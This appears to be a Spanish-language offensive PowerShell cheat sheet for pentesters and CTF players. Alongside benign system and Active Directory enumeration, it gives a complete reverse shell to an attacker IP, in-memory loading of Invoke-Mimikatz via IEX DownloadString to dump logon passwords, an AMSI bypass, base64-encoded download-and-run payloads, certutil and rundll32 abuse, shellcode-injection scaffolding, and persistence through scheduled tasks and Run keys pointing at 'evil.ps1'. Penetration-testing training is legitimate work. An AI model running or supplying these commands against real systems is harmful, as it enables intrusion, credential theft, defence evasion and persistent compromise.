Introduccion
PowerShell nacio como una poderosa consola para administracion de sistemas en entornos Windows, pero en manos de un hacker etico se transforma en una herramienta brutalmente versatil. Automatiza tareas, evade defensas, escala privilegios, interactua con Active Directory y mucho mas... todo sin instalar software adicional.
Esta guia esta pensada como recurso practico para pentesters, Red Teams y entusiastas de CTFs que quieran explotar todo el potencial ofensivo de PowerShell.
🔧 Configuracion del Entorno
Verificar version de PowerShell
$PSVersionTable.PSVersion
Politica de ejecucion de scripts
Por defecto, Windows restringe la ejecucion de scripts. Estos comandos permiten verificar y modificar dicha politica.
# Ver la politica actual Get-ExecutionPolicy # Bypass solo para la sesion actual (no persistente) Set-ExecutionPolicy Bypass -Scope Process
🧭 Enumeracion Basica del Sistema
Informacion general del sistema
# Informacion detallada del sistema (hostname, OS, parches...) systeminfo # WMI: informacion del equipo y BIOS Get-WmiObject Win32_ComputerSystem Get-WmiObject Win32_BIOS
Archivos, procesos y servicios
# Listar archivos recursivamente Get-ChildItem -Recurse # Ver todos los procesos en ejecucion Get-Process # Ver todos los servicios del sistema Get-Service
Usuarios y grupos locales
# Listar todos los usuarios locales Get-LocalUser # Ver miembros del grupo Administradores Get-LocalGroupMember -Group "Administrators"
🌐 Enumeracion de Red
Direccion IP y configuracion
# Informacion completa de red (legacy) ipconfig /all # Obtener todas las direcciones IP de las interfaces Get-NetIPAddress # Ver interfaces y adaptadores en tabla Get-NetAdapter | Format-Table
Ver conexiones activas
# Ver conexiones TCP activas con PID del proceso Get-NetTCPConnection | Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,State,OwningProcess | Sort-Object -Property LocalPort
Escaneo de puertos basico
Un port scanner en PowerShell puro, sin herramientas externas. Util en entornos donde no se puede instalar nmap.
1..1024 | ForEach-Object { if (Test-NetConnection -ComputerName 192.168.1.10 -Port $_ -InformationLevel Quiet) { "$_ is open" } }
Test-NetConnection, un cmdlet nativo de Windows. No requiere instalar Nmap ni ninguna otra herramienta. Ideal para entornos restringidos.🧠 Active Directory con PowerShell
Si el objetivo esta en un entorno de dominio, PowerShell ofrece dos vias: comandos nativos del modulo ActiveDirectory o herramientas externas como PowerView.
Comandos nativos (modulo ActiveDirectory)
# Importar el modulo (requiere RSAT instalado) Import-Module ActiveDirectory # Listar todos los usuarios del dominio Get-ADUser -Filter * | Select-Object Name,SamAccountName # Listar todos los equipos del dominio Get-ADComputer -Filter * | Select Name # Ver miembros del grupo Domain Admins Get-ADGroupMember "Domain Admins"
PowerView — de PowerSploit
# Cargar PowerView en la sesion actual . .\PowerView.ps1 # Enumerar todos los usuarios Get-NetUser # Obtener miembros de Domain Admins Get-NetGroup -GroupName "Domain Admins" # Encontrar maquinas donde el usuario actual tiene acceso local de admin Find-LocalAdminAccess
💥 Post-explotacion y Shells Reversas
Una reverse shell en PowerShell puro establece una conexion TCP saliente desde el objetivo hacia el atacante, tunnelando una shell interactiva. Al ser PowerShell nativo, no requiere instalar ningun binario adicional.
$client = New-Object System.Net.Sockets.TCPClient("IP_ATACANTE", PUERTO) $stream = $client.GetStream() [byte[]]$bytes = 0..65535|%{0} while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) $sendback = (iex $data 2>&1 | Out-String) $sendback2 = $sendback + "PS " + (pwd).Path + "> " $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) $stream.Write($sendbyte,0,$sendbyte.Length) $stream.Flush() } $client.Close()
nc -lvnp PUERTO (Linux) o usa un listener de Metasploit/Ncat. Una vez conectado, recibiras una prompt PS C:\ruta> con acceso interactivo al sistema objetivo.🔐 Post-explotacion: Dumpeo de Credenciales
Invoke-Mimikatz desde memoria
Ideal para obtener hashes NTLM, tickets Kerberos o contrasenas en texto claro. Se carga directamente en memoria, evitando escribir a disco.
# Cargar Mimikatz directamente desde un servidor HTTP (sin escribir a disco) IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/Invoke-Mimikatz.ps1') # Ejecutar dumpeo de contrasenas de sesiones activas Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File .\creds.txtContrasenas guardadas en IE/Edge (registro)
Get-ItemProperty "HKCU:\Software\Microsoft\Internet Explorer\IntelliForms\Storage2"
⬆ Escalada de Privilegios
Detectar servicios potencialmente vulnerables
# Servicios que no corren como LocalSystem (potencialmente misconfigured) Get-WmiObject win32_service | Where-Object { $_.StartName -ne "LocalSystem" }
PowerUp — Script ofensivo de escalada
PowerUp automatiza la deteccion de vectores de escalada: servicios con rutas sin comillas, permisos debiles en binarios, tokens de impersonacion, y mas.
# Cargar PowerUp . .\PowerUp.ps1 # Ejecutar todos los checks de escalada automaticamente Invoke-AllChecks
🧪 Evasion de Defensas
Bypass de AMSI
AMSI (AntiMalware Scan Interface) intercepta y analiza scripts de PowerShell antes de ejecutarlos. Este bypass marca el campo amsiInitFailed como true, deshabilitando el analisis para la sesion actual.
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')` .GetField('amsiInitFailed','NonPublic,Static')` .SetValue($null,$true)
Payload en Base64 (ofuscacion)
# 1. Definir el comando a ofuscar $code = "IEX (New-Object Net.WebClient).DownloadString('http://IP/script.ps1')" # 2. Codificar como Unicode Base64 $bytes = [System.Text.Encoding]::Unicode.GetBytes($code) [Convert]::ToBase64String($bytes)
powershell.exe -EncodedCommand <Base64_aqui>
🧨 Living off the Land (LotL)
Las tecnicas LotL aprovechan herramientas ya presentes en el sistema (LOLBAS), evitando subir nuevas herramientas que puedan disparar alertas.
# Usar certutil para descargar binarios certutil.exe -urlcache -split -f http://10.10.14.1/tool.exe tool.exe
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write('wscript.shell.run("calc")')
Herramientas LOLBAS mas utiles
📁 Recoleccion de Informacion Sensible
Buscar archivos con posibles credenciales
# Buscar archivos con nombres que sugieren credenciales (<5MB) Get-ChildItem -Path C:\ -Recurse -Include *pass*,*cred*,*secret* -ErrorAction SilentlyContinue | Where-Object { $_.Length -lt 5MB } | Select-Object FullName, Length
Buscar contenido sensible dentro de archivos
# Buscar cadenas relacionadas con contrasenas en archivos de texto Get-ChildItem -Path C:\Users\ -Include *.txt,*.xml,*.ini -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password|usuario|clave|contrasena"
💉 Inyeccion de Shellcode en Memoria
Tecnica avanzada para ejecucion de codigo directamente en memoria sin escribir ningun archivo a disco (fileless). Usa P/Invoke para llamar directamente a funciones de kernel32.dll.
# Declaracion de funciones nativas de Windows desde PowerShell $code = @" [DllImport("kernel32")] public static extern IntPtr VirtualAlloc( IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); [DllImport("kernel32")] public static extern IntPtr CreateThread( IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); "@
.bin generados con msfvenom. Permite ejecutar shellcode arbitrario en el proceso de PowerShell sin escribir nada a disco, evitando muchos antivirus basados en analisis de archivos.🪐 Herramientas Relevantes
🔒 Tecnicas de Persistencia
Tarea programada
# Crear tarea programada que ejecute un script cada 5 minutos schtasks /create /tn "Update" /tr "powershell.exe -File C:\evil.ps1" /sc minute /mo 5
Clave de registro Run
Tecnica clasica de persistencia: anadir una entrada en HKCU\...\Run para ejecutar el payload al iniciar sesion el usuario.
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" ` -Name "Updater" ` -Value "powershell.exe -ExecutionPolicy Bypass -File C:\evil.ps1"
Ejecutar en background
Start-Job -ScriptBlock { IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.1/evil.ps1') }
📘 Buenas Practicas y Automatizacion
Funciones ofensivas reutilizables
function Enum-Users { Get-LocalUser | Select-Object Name, Enabled, LastLogon } function Enum-Admins { Get-LocalGroupMember -Group "Administrators" | Select-Object Name, ObjectClass }
Consejos para CTF y Red Team
- Usa Out-File para guardar resultados sin levantar alertas en pantalla.
- Usa Invoke-WebRequest o IEX + DownloadString para cargar herramientas en memoria sin escribir a disco.
- Aplica -WindowStyle Hidden para ejecutar PowerShell sin mostrar ventana de consola.
- Practica bypass de antivirus y AMSI en laboratorio antes de cualquier operacion real.
- Mantén logs detallados de todas las acciones para analisis post-explotacion y reporte.
- Automatiza tareas repetitivas con funciones personalizadas en tu propio modulo .psm1.
📚 Recursos Recomendados
-
github.com/PowerShellMafia/PowerSploit
PowerSploit — framework ofensivo con PowerView, PowerUp, Invoke-Mimikatz y mas.
-
github.com/EmpireProject/Empire
Empire — framework C2 post-explotacion con agentes PowerShell.
-
github.com/FuzzySecurity/PowerShell-Suite
PowerShell-Suite de FuzzySecurity — coleccion de scripts ofensivos avanzados.
-
github.com/nettitude/PoshC2
PoshC2 — framework C2 de codigo abierto para Red Teams.